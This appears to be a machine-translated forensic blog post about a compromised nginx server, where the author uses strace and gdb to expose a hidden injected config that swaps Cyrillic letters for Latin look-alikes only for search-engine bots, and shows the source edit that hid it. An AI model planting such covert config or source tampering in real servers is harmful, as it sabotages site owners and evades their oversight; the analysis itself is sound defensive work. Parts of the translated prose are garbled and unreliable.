Þegar 'a' er ekki jafnt og 'a'. Í kjölfar hakks

Óþægileg saga gerðist fyrir einn vin minn. En eins óþægilegt og það reyndist vera fyrir Mikhail, var það jafn skemmtilegt fyrir mig.

Ég verð að segja að vinur minn er alveg UNIX-notandi: getur sett upp kerfið sjálfur MySQL, PHP og gera einfaldar stillingar nginx.
Og hann er með tugi eða einn og hálfan vefsíður tileinkaðar byggingarverkfærum.

Ein af þessum síðum tileinkuðum keðjusögum situr þétt í toppi leitarvélanna. Þessi síða er gagnrýnandi sem ekki er auglýsing, en einhver tók sér fyrir vana að ráðast á hana. Það DDoS, síðan brute force, síðan skrifa þeir ruddalegar athugasemdir og senda misnotkun á hýsingu og til RKN.
Allt í einu róaðist allt og þessi ró reyndist ekki góð og síðan fór smám saman að yfirgefa efstu línurnar í leitarniðurstöðum.

Þegar 'a' er ekki jafnt og 'a'. Í kjölfar hakks

Þetta var orðatiltæki, síðan saga stjórnandans sjálfs.

Það var farið að sofa þegar síminn hringdi: „San, ætlarðu ekki að horfa á netþjóninn minn? Mér sýnist að ég hafi verið brotinn, ég get ekki sannað það, en tilfinningin hefur ekki farið frá mér í þriðju vikuna. Kannski er bara kominn tími fyrir mig að fara í meðferð við ofsóknarbrjálæði?“

Eftir það voru hálftíma umræður sem má draga saman á eftirfarandi hátt:

  • jarðvegurinn til að hakka var alveg frjósöm;
  • árásarmaður gæti öðlast ofurnotendaréttindi;
  • árásinni (ef hún átti sér stað) var beint sérstaklega á þessa síðu;
  • vandamálasvæði hafa verið leiðrétt og þú þarft bara að skilja hvort það hafi verið einhver skarpskyggni;
  • hakkið gat ekki haft áhrif á síðukóðann og gagnagrunna.

Varðandi síðasta atriðið.

Þegar 'a' er ekki jafnt og 'a'. Í kjölfar hakks

Aðeins hvíta framenda IP-talan lítur út í heiminn. Það eru engin skipti á milli bakenda og framenda nema http(s), notendur/lykilorð eru mismunandi, engum lyklum var skipt. Á gráum heimilisföngum eru allar hafnir nema 80/443 lokaðar. Hvítar IP-tölur eru aðeins þekktar fyrir tvo notendur, sem Mikhail treystir fullkomlega.

Uppsett á framhliðinni Debian 9 og þegar hringt er er kerfið einangrað frá heiminum með ytri eldvegg og stöðvað.

„Jæja, gefðu mér aðgang,“ ákveð ég að fresta svefni í klukkutíma. "Ég mun sjá með eigin augum."

Hér og lengra:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Er að leita að hugsanlegu hakki

Ég byrja á þjóninum, fyrst inn björgunarhamur. Ég festi diskana og fletti þeim staðfest-logs, Saga, kerfisskrár o.s.frv., ef mögulegt er, athuga ég dagsetningar skráagerðar, þó að mér skilst að venjulegur kex hefði "sópað upp" á eftir sjálfum sér og Misha hefði þegar "troðið" mikið niður á meðan hann var að leita að sjálfum sér .

Ég byrja í venjulegum ham, er ekki enn að skilja hvað ég á að leita að, ég rannsaka stillingarnar. Í fyrsta lagi hef ég áhuga á nginx þar sem almennt er ekkert annað á framendanum nema það.
Stillingar eru litlar, vel uppbyggðar í tugi skráa, ég skoða þær bara köttur'ó eitt af öðru. Allt virðist vera hreint en maður veit aldrei hvort ég hafi misst af einhverju fela, leyfðu mér að gera heildarskráningu:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ég skildi ekki: "Hvar er skráningin?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Önnur spurningu er bætt við skráningarspurninguna: "Af hverju svona forn útgáfa af nginx?"

Að auki telur kerfið að nýjasta útgáfan sé uppsett:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

ég hringi:
- Misha, hvers vegna settirðu saman aftur nginx?
- Bíddu, ég veit ekki einu sinni hvernig á að gera þetta!
- Allt í lagi, farðu að sofa...

Nginx það er greinilega endurbyggt og úttak skráningarinnar með því að nota „-T“ er falið af ástæðu. Það eru engar efasemdir lengur um reiðhestur og þú getur einfaldlega samþykkt það og (þar sem Misha skipti þjóninum út fyrir nýjan samt) talið vandamálið leyst.

Og reyndar, þar sem einhver fékk réttindin rót'ah, þá er bara skynsamlegt að gera kerfi endursetja, og það var ónýtt að leita að því sem þarna var að, en að þessu sinni sigraði forvitnin svefninn. Hvernig getum við komist að því hvað þeir vildu fela fyrir okkur?

Við skulum reyna að rekja:

$ strace nginx -T

Við skoðum það, það eru greinilega ekki nógu margar línur í rekstrinum a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Til gamans skulum við bera saman niðurstöðurnar.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ég held að hluti af kóðanum /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

var komið á form:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

eða

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

því er skráningin með „-T“ ekki sýnd.

En hvernig getum við skoðað stillingar okkar?

Ef hugsun mín er rétt og vandamálið er aðeins í breytunni ngx_dump_config við skulum reyna að setja það upp með því að nota gdb, sem betur fer er lykill --með-cc-opt -g kynna og vona að hagræðing -O2 það mun ekki skaða okkur. Á sama tíma, þar sem ég veit ekki hvernig ngx_dump_config mætti ​​afgreiða í tilfelli 'T':, við munum ekki kalla þessa blokk, heldur setja hana upp með því að nota tilfelli 't':

Af hverju þú getur notað '-t' og '-T'Blokkvinnsla if(ngx_dump_config) gerist inni if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Auðvitað, ef kóðanum er breytt í þessum hluta en ekki í tilfelli 'T':, þá mun aðferðin mín ekki virka.

Prófaðu nginx.confEftir að hafa þegar leyst vandamálið í tilraunaskyni var komið í ljós að lágmarksstillingar þarf til að spilliforritið virki nginx gerð:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Við munum nota það til styttingar í greininni.

Ræstu villuleitina

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Skref fyrir skref:

  • stilltu brotpunkt í fallinu aðal()
  • ræsa forritið
  • breyta gildi breytunnar sem ákvarðar úttak stillingarinnar ngx_dump_config=1
  • halda áfram/loka prógramminu

Eins og við sjáum er raunverulega stillingin frábrugðin okkar, við veljum sníkjudýr úr henni:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Við skulum skoða hvað er að gerast hér í röð.

Ákveðinn Umboðsmaður notanda's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Þjónustusíður eru undanskildar WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Og fyrir þá sem falla undir bæði ofangreind skilyrði

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

í textanum HTML-síður breytast 'O' á 'ó' и 'A' á 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Það er rétt, eina lúmskan er það 'a' != 'a' bara eins og 'o' != 'o':

Þegar 'a' er ekki jafnt og 'a'. Í kjölfar hakks

Þannig fá leitarvélar vélmenni, í stað venjulegs 100% kýrilísks texta, breytt sorp þynnt með latínu 'a' и 'ó'. Ég þori ekki að ræða hvernig þetta hefur áhrif á SEO, en það er ólíklegt að slíkt rugl af bókstöfum hafi jákvæð áhrif á stöðu í leitarniðurstöðum.

Hvað get ég sagt, krakkar með hugmyndaflug.

tilvísanir

Villuleit með GDB
gdb(1) — Linux mannasíða
strace(1) — Linux mannasíða
Nginx - Module ngx_http_sub_module
Um sagir, keðjusögur og rafsagir

Heimild: www.habr.com

Bæta við athugasemd